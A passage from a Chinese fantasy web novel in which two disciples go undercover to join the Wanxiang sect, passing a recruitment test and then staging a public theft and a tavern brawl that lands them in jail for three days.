那身穿麻黄色棉袍的男人顿时睁大了眼,饶有兴味地看着这边。伏顺下手又轻又快,中年男人根本没感觉丢了东西,酒足饭饱,拍着肚子出了客栈。伏顺在桌子底下打开钱袋子,见里头只有十来文钱,故意道:“啧,运气不好,碰上个穷鬼!” 他把一枚铜板弹起来,铛啷啷地滚在桌子上。段星河感慨道:“咱们兄弟二人空有一身好本事,也没人赏识,让咱们成日为了一文钱奔波受苦。” 他在这里大叹怀才不遇,龙困浅滩,一副缺钱用的模样。那男人按捺不住,朝这边走了过来,微微一笑道:“两位兄弟,从外头来的么,我没见过你们呢?” 81.永夜城 三 那男人来到了两人的桌边,举手行了一礼,道:“两位兄弟,你们从哪儿来,交个朋友如何啊?” 段星河故意做出一副提防的态度,淡淡道:“我们从西边来,请问阁下是?” 那男人道:“我叫白老三,是这城里土生土长的人。我刚才听说你们想寻个发财的路子,我这里倒是有点门路,不知道你们感不感兴趣?” 伏顺跟段星河一个唱红脸,一个唱白脸。他欠身道:“当真?那快请坐,跟我们兄弟说说。” 白老三坐了下来,显得十分神秘,道:“两位来到永夜城,定然知道咱们这里是万象门的地盘。万象门长期吸纳能人异士,只要加入进来,虺神就会赐予你们无上的财富,满足你们的愿望。” 段星河沉吟道:“真有这么厉害?” 白老三道:“那是当然,伟大的虺神无所不能。你们有什么本领?” 段星河道:“我会些五行道法,拳脚功夫也不错。我兄弟长着一双巧手,天底下没有他打不开的锁,只要他相中的东西,就没有拿不到的。” 白老三露出了笑容,道:“那妙的很啊,组织就需要你们这样的人才。明天正好是选拔的日子,你们若是愿意加入万象门,我可以做你们的接引人。” 段星河道:“若是有钱赚,我们愿意试一试。” 白老三凑得近了一些,低声道:“好,明天晚上戌时,你们去城西甜水巷子,里头有个小酒馆。你们进去要半壶烧刀子兑白水,说不掺水的不要。他们问你怎么来的,你说是白老三介绍来的,就有人来考察你们。” 段星河跟伏顺对视了一眼,点了点头。段星河道:“多谢白兄,日后我兄弟二人挣了钱,忘不了你的帮助。” 拉一个人头给二两银子,白老三咧嘴一笑,道:“应该的,都是兄弟嘛,有财一起发。” 次日傍晚,段星河和伏顺易了容,悄然往城西去了。甜水巷子的位置很隐蔽,两人花了些功夫才找到。巷子里黑漆漆的,只有小酒馆门口挂着一盏红幽幽的灯笼,在夜风里微微摆荡。 两人进了小酒馆,段星河捡了张靠窗的桌子坐了。小二哥过来,擦了擦桌子,打量着他们道:“两位,要点什么?” 段星河道:“半壶烧刀子兑白水。” 小二哥笑了,道:“客倌,我们这儿的酒都纯的很,可不会给您兑水。” 段星河道:“我就好这一口,不兑水的不要。” 小二哥的神色认真起来,道:“谁让你来的?” 段星河道:“白老三。” 小二哥点了点头,道:“稍等片刻,这就给您上酒!” 他说着把毛巾往肩膀上一搭,转身走了。两人坐了一会儿,就见外头陆陆续续的又进来几个人对切口。片刻小二哥过来叫了众人,道:“你们几位请跟我来吧。” 他在前头带路,领着众人穿过一间小门,过了一进院子,来到了一间大堂。正中间摆着一张长桌子,周围放着几把椅子。窗户都用黑色的窗纱糊着,白天也不透光。屋里点着许多蜡烛,火光幽幽地跳动着,透出一股阴森的气氛。小二哥让众人落了座,随即关上门,退了出去。十来个人围着桌子坐着,每个人看起来都其貌不扬,又显得有些局促不安。 等了片刻,一个穿着白袍的大伥从后面过来了。段星河跟他们接触过几次,知道低阶伥鬼的衣袍是素白的,边缘总是弄得破破烂烂的,要不然就是沾满了血迹。而等级更高一些的大伥的白袍上有云雾的暗花,面具的额心也有一道竖着的红痕,一眼就能看出他们之间的地位差距。 一群人想要站起来,那人摆了摆手道:“不必客气,安坐吧。” 那人站在上首,看着屋内的众人道:“欢迎你们,我的朋友,我是这里的堂主,姓孙。各位既然来到了这里,想必都有过人的能力。请展示给我看一看,就从这位开始吧。” 他摆了个请的动作,左手第一个男子站了起来。他穿着书生的长衫,显得文质彬彬的,自信道:“我擅长写字,能模仿各种笔迹,看过一次的字体就能写的九成以上相似,保证亲近的人都认不出来。” 孙堂主一示意,有人去拿了几份字帖和纸张笔墨过来,让那人模仿。那人照着写了一份颜体,一份柳体,一份簪花小楷,有的厚重沉郁,有的飘逸秀美,根本不像出自同一个人之手。一个白衣伥鬼提笔写了几个字:“入我虺门,奉我虺神。千机万象,唯我独尊。” 那人端详了片刻,照着写了下来,竟然分毫不差。 孙堂主点了点头,虽然脸上戴着面具,还是能感觉到他对这人非常满意。 一人小声道:“这本事虽然厉害,可也没什么用吧?” 另一人道:“你是不是傻?模仿人的笔迹就能做假情报,光这一点就够厉害的了!” 这还不止,伏顺低声道:“哥,你说他能不能把银票上的签章都模仿的一模一样?” 段星河没说话,也已经想到这一点了。旁边几个人的眼睛都亮了起来,意识到这人的本事若是能发挥出来,真的能起大作用。孙堂主道:“下一位。” 第二个人生的膀大腰圆,身高八尺有余,粗声粗气地道:“俺是个打铁的,打的兵刃特别好使,修道的、练武的都排着队买俺的刀剑。俺不想埋没了这一身好本事,想锻剑给有真本事的人使,俺听说你们都挺厉害的,就带了几把兵刃过来,你们瞧瞧怎么样。” 他进来的时候就把兵刃交给这里的伥鬼了,此时有人捧着一口苗刀和一柄剑进来。孙堂主把刀拔出来,一道寒光照亮了脸,钢上带着花纹,显然是经过千锤百炼而成的。他道:“你这兵刃怎么个好法?” 打铁匠自豪道:“吹毛立断、杀人不沾血,坚韧无比!” 孙堂主想起了自相矛盾的典故,半开玩笑道:“你的刀更坚固一些,还是剑更坚固一些?” 打铁匠憨憨地说:“都一样的。要是它俩碰到了一起,就得看用的人谁的本事更大一些,谁就能赢了。” 孙堂主招了招手,一个伥鬼自觉伸过脑袋来。伏顺吓了一跳,还以为他们要拿头试。就见孙堂主从那人头上拔下几根头发,放在刀刃上轻轻一吹,头发噗地一下断成了两截,飘然落了下去。众人纷纷点头,赞叹是一把好刀。 孙堂主又拔出剑瞧了一眼,见长剑锻得如秋水一般,着实有些灵气。看不出这人五大三粗的,还是个了不起的铸剑师。 孙堂主点了点头道:“好,下一位。” 接下来的人有擅长做饭的,说自己的厨艺非凡;也有记忆力超强的人,号称过目不忘。孙堂主一一看过了,到了段星河这里,他道:“小兄弟,你有什么本领?” 段星河道:“我是个修道之人,会一些道法。” 他站起身来,摊开了手。他的手心上飘浮着一团白雾,白气生成了雪花,纷纷飘落下来。他把手一挥,寒气飘散在屋里,众人感到了一阵寒冷。有人忍不住打了个喷嚏,低声道:“好冷啊,这小子有点本事!” 段星河又打了个响指,指尖生出了一团小火苗,火光照亮了他的眼睛。他虽然戴着人皮面具,黝黑的眼睛却深邃好看,映着火光显得十分神秘。 小火球燃烧着,渐渐变大,把屋里的温度烧的暖融融的。段星河轻轻一摆手,那团火球就哧地一声熄灭了。那些人都是寻常工匠,贩夫走卒,看这年轻人轻描淡写的就能够操纵五行之力,都啧啧称奇。 孙堂主点了点头,道:“不错,你修炼到什么程度了?” 段星河道:“在下不才,才到筑基中期。” 他有意隐藏自己的能力,能混进去就行了,没必要引起人的注意。孙堂主摩挲着手上的银扳指,若有所思,片刻道:“好,下一位。” 众人见伏顺生的又干又瘦,气质猥琐,觉得他必然没有什么能耐。伏顺也不在乎他们的眼光,道:“我会开锁,擅长偷盗。不管多难的锁,我都有办法把它打开。” 孙堂主道:“拿个锁过来。” 一名伥鬼离开了片刻,拿了个铜锁来。伏顺看了一眼锁眼,好像挺复杂的,扬起了嘴角。他从袖中掏出一根铁丝捅进去,捣了几下子,就听啪地一声,锁头弹开了。 伏顺叉着手道:“有没有难一点的,一点挑战也没有。” 孙堂主低声道:“拿锁魂链过来。” 那伥鬼显得有些惊讶,还是快步去了。片刻他拿了一根铁链过来,那链子上头有些暗红的痕迹,似乎是血迹渗透进去了,也不知道它经历过什么,透着一股森森的阴气。 孙堂主端然道:“这链子是咱们专门用来锁得道高人的,元婴期以下的人,凭道法都无法把它弄开。一炷香之内,你若是能把这根铁链解开,我就赠你十两银子。” 伏顺自忖天底下还没有什么锁能困住自己,咧嘴一笑道:“那就来呗。” 伥鬼把铁链哗啦啦地抖开,把伏顺绑在了椅子上,咔地一声锁上了锁头,又在铁链之间挂了好几把锁。伏顺的手背在身后,眼睛看不见,手能动的幅度也很有限,但一点也不慌。 他摸索着找到了锁孔,把铁丝插进去捣了片刻,轻松地打开了一把锁。他把一只手抽了出来,摆弄了片刻,又打开了锁住左手的锁头。 孙堂主点了点头,仿佛觉得这人不错。最后一把是锁魂链上自带的锁,有些难解。铁链拦胸把他捆在椅背上,伏顺这回花的时间久了一些,他侧过头,仔细分辨着锁里细微的变化,嘴角渐渐露出一丝笑容,道:“开。” 他话音刚落,锁头应声弹了开来。众人都十分惊讶,对他刮目相看。偷盗属于下九流,虽然不是能上台面的事,但有时候还真需要有这种本事的人。 伏顺把身上的铁链摘下来,哗啦一声扔在地上,自豪道:“瞧见没,我这本事可是偷遍天下无敌手,自居一声盗圣也不为过!” 众人纷纷赞叹,一时间觉得他也没有那么猥琐了,反而浑身笼罩着一层侠盗的光环。孙堂主抚掌道:“好得很,这是十两银子,阁下收好!” 他从怀里掏出一锭银子,让伥鬼捧了过来。伏顺没想到来凑热闹还有钱赚,拱手道:“多谢多谢,我就不客气了。” 孙堂主考察完了剩下的人,心里有了数。他道:“几位稍歇片刻,我去去就来。” 他离开了一阵子,几名伥鬼捧着茶进来,放在了几个人跟前。一名伥鬼道:“各位辛苦了,喝完茶就请回去吧。” 伏顺本来还觉得他们小气,沏茶不给所有人都来一杯,没想到是端茶送客。那几个被刷下来的人悻悻地站起来,拱手告辞。屋里只留下了十个人,几人互相看了一眼,知道自己是被选中了。 孙堂主缓步走了出来,宣布道:“恭喜各位通过了初试。我们的虺神无所不能,加入万象门,虺神会赐予你们一切。但在这之前,你们还需要向虺神表达你们的决心。” 众人看着他,都有些惴惴不安。在这永夜城中居住的人,对万象门的事都有所耳闻,知道将要面临着什么,但段星河对接下来的事还一无所知。 孙堂主道:“半个月之内,你们要做一件丢人的事,目睹的人越多越好。斩断了退路,才能义无反顾地追随虺神。我们的人无处不在,只要你们表演的足够精彩,被组织认可,就可以加入万象门。” 段星河的心猛地一跳,想起了之前在街上看到的那个喝醉闹事的杨镖头。当时他做出那么乖张的行为,事后又背着人痛哭流涕,好像有什么苦衷。段星河现在才明白,当时杨镖头是为了通过万象门的考验,才这么做的。 众人答应了,孙堂主便起身道:“去吧,我等你们的好消息。” 人们站了起来,离开了小酒馆。段星河走在巷子的阴影中,心情有些沉重,没想到当个最普通的伥鬼还要经过这么多考验。他一向要面子,这回却要亲自把脸按在地上摩擦,实在不甘心。伏顺跟在他身边,低声道:“哥,怎么着?” 段星河道:“让交投名状就交呗。不但要丢人,还得弄出点动静来丢大人,他们也是够损的。” 伏顺把心一横,道:“那我来吧,我本来就是二皮脸,无所谓的。” 段星河抬头向前望去,一起来的几个人都已经走远了,也不知道他们打算怎么交差。他道:“你的是你的,算不到我头上,他们又不傻。” 伏顺道:“那怎么办?” 段星河叹了口气,道:“男子汉大丈夫,能屈能伸。不就是丢个人么,老子丢得起!” 伏顺怕他丢人的力度不够,挠了挠头道:“哥,你可得陪着我啊。别让我自个儿进去了,我害怕。” 段星河笑了,道:“不会的,我肯定跟你一起混进去。” 两人回了客栈,歇了一宿。赵大海见段星河和伏顺每天都早出晚归,神神秘秘的,觉得有些奇怪。早晨吃饭的时候,赵大海道:“大师兄,你最近怎么老跟伏顺在一起。” 伏顺道:“一起行动怎么啦,大师兄带我不带你,你嫉妒啊?” 赵大海道:“我就随便问问,你哪那么多话。” 段星河道:“咱们得在这儿住几天,我们到处转转,熟悉一下情况。” 赵大海想起了要摸底的事,低声道:“你们是不是开始行动了?” 大堂里到处都是人,保不准什么时候就被人听见了。伏顺在桌子底下踢了他一脚,道:“吃你的饭,别乱说话。” 赵大海只好闭了嘴,又拿眼看其他人。李玉真等人已经知道了,随时准备在外围接应他们。赵大海搔了搔头,觉得自己知道多了反而露馅,还是不问算了。 吃完了饭,段星河去街对面的小饭馆,取了定好的鸡汤。步云邪已经醒了,段星河端来了碗,坐在床头道:“把汤喝了吧。” 步云邪惦记着他的事,没什么胃口,抬眼道:“万象门的事怎么样了?” 段星河道:“跟那边的人搭上线了,他们让我进去当伥鬼。” 一向只有伥鬼追着他们跑的份儿,如今段星河居然也要披上白袍装神弄鬼了。步云邪一想那情形就有点好笑,道:“他们有什么要求?” 段星河没说要丢人的事,只是轻描淡写道:“招炮灰嘛,会送死就行了,还能有什么要求。喏——” 他舀了一勺鸡汤递过去,步云邪道:“我自己来。” 段星河好久没帮师娘喂孩子了,闲的难受。他道:“你生病了嘛,来,乖幺儿喝一口。” 步云邪噗嗤一声笑了,垂下了眼,听话地把汤喝了。他道:“他们要是打架你别真上,混混得了。” 段星河淡淡道:“放心,我有数。” 步云邪坐了一会儿,又躺下歇了。段星河提着食盒出了门,见魏小雨蹲在走廊上,拿着一块牛肉干喂墨墨,学着段星河的口气道:“来,乖幺儿吃一口——” 段星河随手弹了她个脑瓜崩,道:“别人说话,谁 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伏顺连忙跟了上去,道:“今天交投名状么,我都寻思好了。” 早晨大街上弥漫着一层白雾,两人低声交谈着,没人注意他们。段星河道:“你想怎么办?” 路边的店铺林立,有人支起了摊子,卖些拨浪鼓、虎头帽之类的东西。也有人挑着担子,带着水果和粮食来卖。行人驻足在摊子跟前,挑选着东西。伏顺眯起眼,瞄着前头的人群道:“不就是丢人么,老子给他闹个大动静,让这些人都好好看清楚了!” 他一双小眼睛四处打量着,看见街上有个屠夫正在卖肉,一个胖大婶领着个小孩儿在摊子跟前挑肥拣瘦。一个小伙子挑着一担黄豆从路上经过,一边喊道:“借光,借光——” 伏顺选中了目标,直奔着那胖大婶过去了。他假装挑肉,左手却暗中把那大婶腰上的荷包勾下来了。那荷包沉甸甸的,里头盛着不少钱。伏顺假装失手,把荷包掉在了地上。大婶听见铛的一声,低头一看,顿时叫嚷起来:“哎你这臭小子,怎么偷我钱!” 伏顺劈手抓起一块油腻腻的肥肉糊在大婶脸上,堵住了她的嘴。屠夫把刀往案板上一剁,虎着脸道:“干什么,糟蹋老子的肉!” 大婶把肥肉扒拉下来,沾的浑身都是油渍,身边的孩子被吓的哇哇大哭起来。伏顺趁这个机会抢起了荷包,拔腿就跑。 大婶急得不行,放声大喊道:“不得了,有人抢钱啦,快抓住他!” 大街上有几个小伙子听见了,回头望过来,就见伏顺手里攥着个大红的荷包,一个打滚翻过了一辆装满麻袋的小推车。有年轻人见义勇为,朝他追了过来。伏顺听见身后的脚步声越来越近,有人喊道:“站住,小贼,站住——” 伏顺迎面扒住那个挑黄豆的小贩,拽着他转了半个圈。小贩被他拉扯的摇摇欲坠,担子里的黄豆都要飞溅出来了。他大声道:“哎,别动,你干什么!” 小贩被甩出去,一头撞在了后面的追兵身上,黄豆像暴雨似的撒得满地都是。他气得不行,大声道:“我的黄豆啊,谁赔我!” 路上的人踩到了黄豆,脚底一个劲儿打滑,场面混乱不堪。伏顺还怕动静闹得不够大,回头冲那群人吹了个呼哨,瞬间挑衅拉满,简直要把人气死。 他跑出去一阵子,忽然见前头有人追了过来。伏顺啧了一声,他对这里人生地不熟的,居然被人包抄了。 路人都看着这边,不知道什么情况。伏顺也不慌张,围观的人越多越好,他要的就是这个。 后头的人喘着气追过来,几个人把他逼到了一棵大梧桐树旁边。一人伸出手道:“把钱袋子交出来。” 伏顺理直气壮道:“老子凭本事偷的,凭什么还给你?” 那人道:“嘿你这个小贼,大白天行窃你还有理了!” 他说着要擒他胳膊,伏顺脚下一蹬,爬到了身后的大树上。众人还没反应过来,伏顺纵身一跃,已经跳到了旁边的屋顶上。他抬脚一扫,哗啦啦地踢下一大堆瓦片来。众人生怕被砸到了,轰然向后退去,伏顺趁机踩着屋顶向前跑去。 “抓贼啊——” 伏顺生的干瘦,在街边的屋顶上奔跑,就像一只灵活的猴子。一群人在后面追,有凑热闹的听说要抓贼,也加入进来。追他的人越来越多,伏顺像放风筝似的,后头乌乌泱泱地拉了一大串人。段星河怕他出事,也混在人群里,一边看着四周,不知万象门的人有没有在看这场闹剧。 伏顺跑了一条街,见前方路口有人家修房子,在路边堆了些砖头木料,就爬了上去。一群人围了过来,嚷道:“下来!” 伏顺也累得够呛,扶着膝盖道:“不是……一个荷包而已,你们至于么?” 一人道:“敢在夜游神的地盘上偷东西,你也不看看谁是干坏事的祖宗!” 另一人从路边抄起一根竹竿,朝他捅了过去,道:“下不下来?” 伏顺躲了两下,一不小心被戳中了,还挺疼的。他捂着肚子道:“好好好,荷包给你们!” 他说着把荷包往前一扔,转身往后一纵,想要趁机逃跑。地上有不少沙子,又湿又滑,他摔了个屁股蹲,疼的龇牙咧嘴的。他还没来得及爬起来,几个大小伙子一拥而上,七手八脚地把他按在地上。一人得意道:“看你往哪儿跑!” 伏顺的脸都被磨破了,挣扎道:“轻点、轻点!” 一人道:“跟我去见官!” 伏顺央求道:“大哥,我上有八十老母,下有三岁孩子,也是没办法才行此下策的。钱袋子都还给你们了,饶了我成不成?” 他一副可怜巴巴的模样,衣裳也破破烂烂的,日子好像确实不好过。那人提起拳头照着他身上打了几拳,伏顺连声惨叫,道:“疼、疼,大哥轻点!” 那人一把搡开了伏顺,又踢了他一脚,道:“这次放过你,要是再有下次,老子把你脏手剁下来!” 周围的人看着伏顺,指指点点地笑话他。也有人跟自己的孩子说:“看见没,偷东西就是这样的下场。” 伏顺爬起来,拍去了身上的土。他闹这么大阵仗,万象门的人肯定已经知道了。他把人群拨开了个缺口,低着头挤了出去。 远离了人群,伏顺走了几步路,感觉左边大胯疼得厉害,可能是刚才摔着了。这时候一只手扶住了他,道:“没事吧?” 伏顺一看,是段星河跟过来了。他咧嘴一笑,道:“没事,我演的好不好?” 段星河伸手擦了擦他脸上的灰,道:“辛苦你了。” “没什么辛不辛苦的,”伏顺道,“我本来就不在乎这个,哥你打算怎么交投名状?” 段星河还没想好,双手抱着臂,显得有点焦躁。他不想像杨镖头一样喝了酒当众爬到树上去唱歌,也不能再来一次当街偷钱,何况他本身还有点好面子,这个考验对他来说实在太缺德了。 段星河一路寻思着该怎么交差,头都要想裂了。回到客栈大门前,迎面就见刘正阳等人坐在大堂里喝酒,一群人大声谈笑,视旁人如无物。这些人口无遮拦得罪了当地的百姓,却要步云邪替他受苦。一想到阿云现在还在屋里养伤,段星河心里就生出一股怒意。 他注视着刘正阳,眼里的阴狠一闪而逝,心道:“既然你主动送上门来,就别怪我拿你开刀了!” 82.永夜城 四 段星河走过去,在刘正阳身后坐下了。他要了两壶酒,一碟花生米,跟伏顺对饮。 这会儿于九不在,刘正阳跟从笼子里放出来似的。他连说带比划的,胳膊撞了段星河的后背一记。段星河皱起了眉头,道:“兄台,公共场合,小点声。” 刘正阳回头看了他一眼,不知道是哪个不开眼的敢管自己。段星河现在易了容,刘正阳认不出他来,只是觉得这人有点眼熟。他喝的有些醉了,道:“你算哪根葱,敢教我做事?” 段星河平静道:“我就是个过路的,随口奉劝几句。” 刘正阳道:“过路的你管这么多闲事,知不知道老子是哪里来的?” 段星河道:“哪儿来的?” 他身边的一个侍卫道:“我们是从大幽来的,是钦天监的人,听过没有?” 段星河不以为然道:“没听过,很厉害么?” 刘正阳本来挺起了胸膛,觉得自己是吃皇粮的高人一等,被他这么一说顿时恼了,道:“你这个人怎么一点见识也没有,连钦天监都没听过,你是哪个山旮旯里钻出来的煤球?” 段星河戴的人皮面具肤色黑黝黝的,刘正阳这么一说,其他人都哈哈大笑起来。伏顺道:“喂,你怎么说话的?” 刘正阳笑够了,道:“这就不乐意了,好好,我给你赔礼。” 他倒了杯酒站起来,段星河防着他要出幺蛾子,也站了起来。大堂里的人注意到了不对劲,朝这边回过头来。刘正阳跌跌撞撞地往前一走,假装没拿稳,把酒倒在了段星河身上,顿时把他的衣服弄湿了一大片。段星河冷着脸没说话,这个人跟自己真的是八字不合,只要一遇上,没有原因也能闹起来。 伏顺连忙帮段星河擦拭身上的酒,淡绿的酒已经渗进去了,很难洗干净。他道:“你跟我哥道歉!” 刘正阳仗着有这么多人在,一点也不怕,冷笑道:“我就不呢,你算老几就在这里狗叫?” 伏顺恼了,道:“道歉!” 段星河冷冷道:“不用。” 他抓起桌上一个酒壶,狠狠地抡在了刘正阳的脑袋上。哐地一声,酒壶粉碎,酒淌的他满头满身都是。 众人都懵了,血顺着刘正阳的脑袋慢慢淌了下来。 刘正阳往后踉跄了一步,感觉脑袋一个劲儿地发晕。他看着段星河,感觉跟见了鬼似的,没想到这人看起来貌不惊人,下手居然这么狠。众人连忙扶住了他,纷纷道:“快坐下、坐下。” 一名侍卫道:“反了天了,敢跟我们钦天监过不去,你当我们是好惹的吗?” 伏顺寻思着大师兄正想大闹一场呢,这样正中下怀。他撸起袖子道:“想打架,来啊!” 段星河又抓起一个酒壶,往前走了一步。刘正阳吓了一跳,连忙捂住了头道:“拦住他,快拦住他!” 一群人围了上来,段星河也不管三七二十一,面无表情地把酒壶砸在了一个侍卫头上。伏顺哗地掀翻了一张桌子,双方打在了一起。大堂里的食客顿时哗然,四下逃散开来。段星河要的就是这个热闹劲儿,他踢翻了一个侍卫,拿板凳抡倒了一圈人,又冲过去揪住刘正阳的脖领子狠狠打了几拳。反正他戴着人皮面具,不打白不打,正好借这个机会出一口恶气。 这时候就听外头有人喊道:“干什么呢,住手,谁让你们在这里打架了!” 段星河回过头去,见一队官兵赶了过来,也不知道是谁这么多管闲事去报了官。刘正阳缩在桌子底下瑟瑟发抖,丝瓜般的脸越发扭曲,大声道:“就是他,他打人!” 其他钦天监的侍卫也纷纷道:“这人喝酒闹事,快把他抓起来!” 官兵们一拥而上,把段星河和伏顺抓了起来。段星河作势挣扎了几下,回头盯了刘正阳一眼。那丝瓜瓤已经从桌子底下钻出来了,有官兵撑腰一副得意的模样,道:“让你打人,给老子吃牢饭去吧!” 一个官兵按了段星河后背一把,粗暴道:“看什么看,快走!” 两人被他们押出了客栈,拿铁链一捆,塞进了囚车。路边有不少看热闹的,对这边指指点点。两人抱着膝盖坐在囚车里,可算够丢人的了。伏顺低声道:“哥,你说他们的人看见没?” 路上这么多围观的,总能有一两个是万象门的人。段星河道:“肯定有。” 伏顺道:“要是没有呢?” 段星河道:“别说这么晦气的话。” 伏顺还挺执着,道:“我说万一。” 这么丢人的事,段星河不想再来一遍了。他咬牙切齿道:“万一没过,老子半夜摸过去,把它们堂主的脑袋拧下来当球踢!” 万象门的守卫森严,不是谁想进就能进去的。伏顺知道他是说气话,寻思着一会儿过堂,肯定还要被扒一层皮,紧张道:“哥,一会儿他们会不会打人?” 段星河沉默了片刻,显然也不能保证。伏顺明白了他的意思,道:“哥,我这可是工伤,你是不是得给我报销啊?” 伏顺本来都已经能通过考验了,又陪着段星河再丢一趟人,也是够讲义气的。段星河道:“放心,他们要是动刑,我就说是我打的,你没动手。” 一会儿囚车押到了官府,官老爷高坐在大堂上,居高临下地看着他俩,道:“哪儿来的?” 段星河道:“巴蜀。” 他们确实带着巴蜀地方的口音,伪装不来。官老爷道:“来干什么?” 段星河道:“修道之人,到处历练,四海为家。” 官老爷一拍惊堂木,道:“你们这是历练么,这叫寻衅滋事!青天白日就敢公然打架,把官府放在眼里了么?” 伏顺不服气,道:“是他们先动手的!” 官老爷看了捕快一眼,道:“是么?” 捕快去的时候,他们都快打完了,也分不清楚怎么回事。这些办差的一向糊弄事,案子不大,也懒得查那么多,道:“他把人家打的满头都是血,肯定是他俩找事。” 官老爷见惯了这种江湖草莽,懒的跟他们多费口舌,道:“拉下去关三天,让他们知道违法乱纪的下场!” 几名官差便上前来,把他俩押进一间牢房里,哐地一声锁上了门。牢里还关着几个乞丐、小偷,正无所事事地抠脚。伏顺没想到上午没进来,下午还是没能逃过坐牢,看来今天是逃不过牢狱之灾了。 大牢里阴暗潮湿,弥漫着一股霉味儿。两人坐在角落里,想起了从前被关在采石场的时光。伏顺道:“哥,三天好难熬啊。” 段星河靠在墙边道:“是啊。” 伏顺道:“出去了你是不是得好好补偿我?” 说什么都是虚的,段星河闭着眼道:“一天给你三两银子。” 伏顺顿时高兴起来,感觉这牢总算没白坐。其他人见段星河长得高大结实,一副不好惹的模样,也不敢过来招他。段星河感觉自己为了能混进那破地方,牺牲着实太大了。这次要是摸不出点有用的东西来,自己非一把火把它这个狗屁分舵烧了不可。 晚上众人在大堂里吃饭,不见了段星河跟伏顺。墨墨围着桌子转来转去,东张西望。它的亲爹病了,二爹也一直没回来,它就像个没人管的倒霉孩子。司空玉一把将它捞了起来,放在一旁的椅子上,奇怪道:“段大哥呢?” 李玉真道:“步兄的头疼病没好,他俩去给他找药去了,让咱们安心等两天。” 司空玉想起了他们来永夜城的目的,知道段星河八成是潜进去当卧底了,有点替他担心。她回头看了六幺一眼,六幺端着碗专心吃饭,示意县主不该管的别管,反正自己跟他们也只是同路,没必要牵扯的太深。 赵大海有点担心他们,手里拿着一块馒头掰碎了喂墨墨和小对眼。那两个崽子坐在旁边的椅子上,他把大手张开,显得有些心不在焉。墨墨吃到一块馒头,小对眼够不到,居然也跟着嚼空气。 宋胡缨看了半天,没明白自己儿子这是什么意念吃法,道:“你吃饱了么?” 小对眼有点委屈,嗷地叫了一声。宋胡缨把它抱了过去,撕了个鸡屁股喂给它,小对眼连忙吞了下去,伸出舌头舔了一圈嘴巴,显得意犹未尽。 吃完了饭,李玉真和赵大海去看步云邪。魏小雨正在他屋里待着,手里拿着几张纸叠着玩。步云邪睡着了,她便悄悄的不出声。要是他醒了要喝水,魏小雨就给他送到床头。 两人进了屋,悄声道:“好点了么?” 魏小雨道:“还是头晕,吃了药就一直睡觉。” 药里有安神的成分,多睡一会儿也没什么不好的。步云邪听见了声音,睁开了眼,道:“你们来了。” 李玉真扯了个凳子坐在他床前,道:“来,吃药了。” 步云邪看了一眼周围,见段星河没来,担心道:“星哥没事吧?” 李玉真道:“他修为高,我还给了他两张跑路符,不会有事的。” 他说别的还未必这么有说服力,论跑路他可是行家。步云邪放了心,把药接过来吃了。 魏小雨拿纸叠了不少东西玩,赵大海从地上捡起了一个奇怪的长条,道:“这是什么?” 魏小雨道:“纸蛇啊。” 他们一路被万象门那帮人骚扰的够呛,一见蛇就头疼。赵大海道:“蛇有什么好的,你也不害怕。” 魏小雨一副理所当然的模样,道:“我之前一个人的时候在山上见过好多蛇呢。有时候抓到就烤来吃,蛇肉很嫩的,一点都不可怕。” 赵大海听着都瘆得慌,道:“很多蛇都有毒的,有的头被砍断了还会跳起来咬人,你敢惹它们?” 魏小雨接过那个长条,折的弯曲起来道:“我运气好,遇到的都是没有毒的。反正我也不怎么吃肉,大多数时间都吃果子。” 她说着又拿起另外一个纸卷子,塞在嘴里忽地一吹。纸筒腾地一下子直了,又缩了回去,道:“这是另外一种蛇,哈哈哈,好不好玩?” 她还挺会哄自己开心的,赵大海点了点头道:“你高兴就好。” 天色不早了,大家便退了出去。来到走廊上,魏小雨不安道:“大师兄什么时候回来?” 李玉真含糊道:“得过个三五天吧。你乖乖的,别让他担心。” 魏小雨便喔了一声,道:“我的小风车坏了,能给我修修么?” 赵大海道:“我给你买个新的,明天我带你上街去玩,还给你买糖吃。” 魏小雨便高兴起来,也不再惦记段星河了,道:“好,一言为定!” 兄弟俩在大牢里待了三天,终于熬出了头。官差过来打开了牢门,道:“你们可以走了,以后长点记性啊,别再闹事。” 伏顺还在打盹,一时间不知道自己在什么地方。段星河如释重负地站起来,伏顺还在揉眼,道:“啊,怎么了?” 段星河道:“走吧。” 两个人出了牢房,眼睛习惯了黑暗,都不适应外头的天光了。出了衙门,两人走在街上,伏顺闻了闻自己的衣裳,皱着鼻子道:“哥,我都臭了。” 段星河也差不多,道:“回去洗个澡就是了。” 伏顺道:“你答应给人家的钱……” 段星河道:“回去就给。” 路上经过驿站,段星河进去看了一眼,想看看有没有钦天监寄给自己的东西。朝廷没有物资,倒是有一封从大悲寺寄来的信,是瀚海大师写的。段星河有些意外,在路边拆开了,见上头写着:“段兄,自从你将玉蝉仙送来之后,师父带人日夜诵经,希望能助他早日修复魂魄。然而玉蝉仙性情乖戾,一直十分抗拒。南宫秀来要了几次人,都被师父挡了回去。就在昨夜,玉蝉仙将浮屠撞塌逃走,我等发现时,已不知道他去向何处。贫僧等受人之托,未能忠人之事,很是惭愧。我和几名师兄弟已经出来了,会想办法找回玉蝉仙,免得他再作祟伤害无辜百姓。也请段兄多加小心。” 段星河的神色变得严峻起来,没想到阿萝的本事有这么大,连大悲寺的浮屠都能撞破。他的性子乖戾,对自己又恨之入骨,这一逃出去,怕是又要来找自己麻烦了。 伏顺凑在旁边看了,诧异道:“不是吧,那些大和尚这么不靠谱,我还以为他们挺厉害呢。” 段星河道:“瀚海大师他们已经出来找他了,稍微提防一下就行了,万一遇上了再说。” 他把信揣进了怀里,拐过街角,迎面见一个人走了过来,正是拉他们入伙的白老三。他看来在这里等了一阵子了,见了两人呵呵一笑,道:“恭喜二位啊,出来了。” 段星河一脸倒霉,道:“有什么好恭喜的,刚蹲了监狱。” 白老三道:“组织让我来通知二位,你们通过考验了。” 段星河松了一口气,受了这么多罪,感觉也没有多值得高兴的。白老三道:“明天晚上还是老时间、老地方,有人迎接你们加入万象门。” 段星河拱手道:“多谢。” 白老三嘿嘿一笑道:“发达了可别忘了兄弟,我看好你们!” 他说着摆了摆手,缓步走远了,又开始物色新的人选。段星河和伏顺进了客栈,见没人注意,回屋换下了易容的装束。段星河三天没揭人皮面具,脸上长了一圈胡子,脑门上起了好几个痘子。他伸手摸了一下,嘶地倒抽了一口气,好不容易回来了,得好好透透气。过两天又把脸挡起来了,还不知道要憋几个痘。 他洗了个澡,刮了胡子,换了身干净衣裳,出门先去隔壁。步云邪刚睡醒,正打算起来走一走。两人好几天没见,一直惦记着对方。 段星河道:“你头疼好点了么?” 步云邪道:“好多了,你怎么样?” 